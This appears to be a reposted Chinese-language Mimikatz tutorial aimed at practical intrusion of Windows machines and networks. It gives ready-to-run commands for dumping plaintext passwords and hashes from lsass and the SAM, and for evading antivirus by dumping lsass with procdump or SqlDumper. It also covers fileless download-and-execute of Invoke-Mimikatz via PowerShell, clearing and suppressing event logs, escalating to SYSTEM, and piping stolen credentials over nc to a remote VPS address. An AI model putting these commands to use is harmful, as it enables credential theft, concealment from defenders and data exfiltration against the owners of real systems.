9.Mimikatz詳解


一、mimikatz簡介:

 

  mimikatz常用於獲取windows系統明文密碼、系統賬號hash、瀏覽器密碼、VPN(ADSL)密碼、RDP終端密碼等,在內網橫向滲透中可用於各種憑證的導入導出,包括大家熟悉的hash傳遞攻擊。

 

  程序的發布主頁:http://blog.gentilkiwi.com/mimikatz

  下載地址:https://github.com/gentilkiwi/mimikatz/releases

 

二、基礎用法——獲取windows系統明文密碼及HASH:

 

  首先用管理員權限打開獼猴桃標志的EXE,然后輸入:

  privilege::debug

  sekurlsa::logonpasswords full

 

 

  如果先加上log命令,所有的操作和回顯的結果會在mimikatz.log中顯示:

 

 

 

三、結果解析:

 

 

 

 

從上面結果可以看出:

 

1、一個Authentication Id代表一個塊結果(這個“塊結果”我自己理解的),也就是內存里面某個賬戶里面的憑證。

2、msv項是賬號對應的密碼的各種加密協議的密文。

3、tspkg、wdigest、kerberos 這3個項是賬號對應的明文密碼,但有時候不是3個項都得到結果的。

4、ssp項下是你最新登錄到其他RDP終端所用到賬號密碼,windows server 2003、windows xp是不會記錄到這里的,因為賬號密碼的輸入不在本機內存里。

5、domain項是被登陸的機器的USERDOMAIN,可通過set命令來查看該變量,通過ping該項對應的值,可得到目標的IP。如:ping -n 1 john-PC,如果想要是IPv4就加上-4參數,即:ping -n 1 -4 john-PC

 

 

 

 

四、獲取windows系統明文密碼的原理:

 

當用戶登陸后,會把賬號密碼保存在lsass中,lsass是微軟Windows系統的安全機制它主要用於本地安全和登陸策略,通常我們在登陸系統時輸入密碼之后,密碼便會儲存在lsass內存中,經過其wdigest和tspkg兩個模塊調用后,對其使用可逆的算法進行加密並存儲在內存之中,而mimikatz正是通過對lsass的逆算獲取到明文密碼。

 

五、只獲取系統哈希:

 

  1、mimikatz with reg (online在線獲取)

 

  privilege::debug

  token::elevate

  lsadump::sam

 

 

 

  2、mimikatz with reg (offline)

  

  目標機器上執行:

  reg save HKLM\SYSTEM SystemBkup.hiv

  reg save HKLM\SAM SamBkup.hiv

 

 

 

把兩個文件傳回本機后執行:

mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

 

 

 

  3、mimikatz with powershell(無需實體文件落地)

 

  powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

 

  powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

 

六、windows高版本無法抓明文密碼的問題:

 

  問題出現點,windows 8.1及以上系統在進行明文密碼抓取的時候出現以下情況:

 

  1、報錯:

  ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

 

  2、密碼項為NULL     //空密碼

 

 

 

 

七、mimikatz的殺軟對抗:

 

  mimikatz的明文密碼功能固然是強大的,但就是因為強大,所以在被各國黑客關注使用的同時,各國的安全廠商也是會投入人力物力去查殺該程序,由此就會產生對抗安全防御軟軟件的技術。以下文章所涉及到的都是常用且好用的。

 

  1、procdump with mimikatz

 

  procdump是啥玩意?

  procdump是微軟收購Winternals公司后得到的一個工具包Sysinternals Suite中的一款小工具,屬於微軟產品。詳情請看:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

 

  為什么能對抗安全防御軟件?

  我們使用大廠的軟件把windows系統的內存dump出來,然后下載回我們本地系統,通過mimikatz解析內存文件,提取存放在內存中的憑證。那我用微軟的東西,你不能攔截吧?那我在本地自己沒有安全軟件的環境用mimikatz解析,能攔截的估計就是斷電、藍屏……

 

  具體操作:

 

  命令:

  <目標機器>

  procdump64.exe -accepteula -ma lsass.exe lsass.dmp

  <本機>

  mimikatz # sekurlsa::minidump SUPERCOMPUTER_lsass.dmp

  mimikatz # log

  mimikatz # sekurlsa::logonPasswords full

 

  ①首先在目標機器下載一個procdump文件,然后用管理員權限打開cmd輸入命令執行(最后那個lsass.dmp是文件名,它的文件名和后綴都可以更改)

 

 

 

  ②接着我們把lsass.dmp文件下載回來,然后打開mimikatz執行命令即可(注意命令中文件名要對的上)

 

 

  2、SqlDumper with mimikatz

  SqlDumper.exe是從SQL Server安裝目錄下提取出來的,功能和Procdump相似,並且也是微軟出品的,體積遠小於Procdump,也具備一定的免殺功能。SqlDumper.exe默認存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本,如果目標機器沒有安裝SQL Server,可以自己上傳一個SqlDumper.exe。

  命令:

  <目標機器>

  tasklist /svc |findstr lsass.exe

  Sqldumper.exe ProcessID 0 0x01100

   <本機>

  mimikatz # sekurlsa::minidump SQLDmpr0001.mdmp

  mimikatz # log

  mimikatz # sekurlsa::logonPasswords full

 

八、mimikatz的其他實用功能

 

  1、解決windows PC版本不能多用戶登陸3389的情況:

  mimikatz # privilege::debug

  mimikatz # ts::multirdp

 

  2、清除日志:

  event::clear

 

  3、讓后面的操作不被系統記錄:

  event::drop

 

  4、進程操作:

  process::suspend /pid:2768  暫停進程

  process::resume /pid:2768   恢復進程

 

  5、獲取system權限

  privilege::debug

  token::elevate

 

  6、以system權限啟新的進程

  獲取系統system

  mimikatz # privilege::debug

  mimikatz # process::runp                      //以system啟動一個新的mimikatz的交互式shell

  mimikatz # process::runp /run:cmd       //以system啟動一個新的cmd

 

九、實戰下的mimikatz

 

  1、半交互下的mimiktz執行命令

 

  比如在webshell、webshell管理工具的終端都是半交互式的,此時我們執行mimikatz.exe,是不會進入mimikatz的終端,那么就不能直接的使用mimiktz的命令了,但也可以如下使用:

 

  mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full" "exit" >> hash.txt

  mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full""  exit >> hash.txt

 

 

 

 

  2、利用nc把mimikatz結果傳到遠程服務器(vps)

 

  首先需要在vps上用nc -lvp 1337,來監聽1337端口

 

  接下來用命令把結果傳到我們的vps,以下隨便用那一條都行,如果沒有nc,可以用ncat(把nc改為ncat即可):

 

  ①mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" |  nc -vv 67.68.123.4 1337

 

  ②mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit |  nc -vv 67.68.123.4 1337 

 

  ③powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1337

 

注意,第三條命令中有一個國外的網站,執行命令之前你懂的

 

  ③獲取 vpn 密碼

  mimikatz.exe "privilege::debug" "log" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM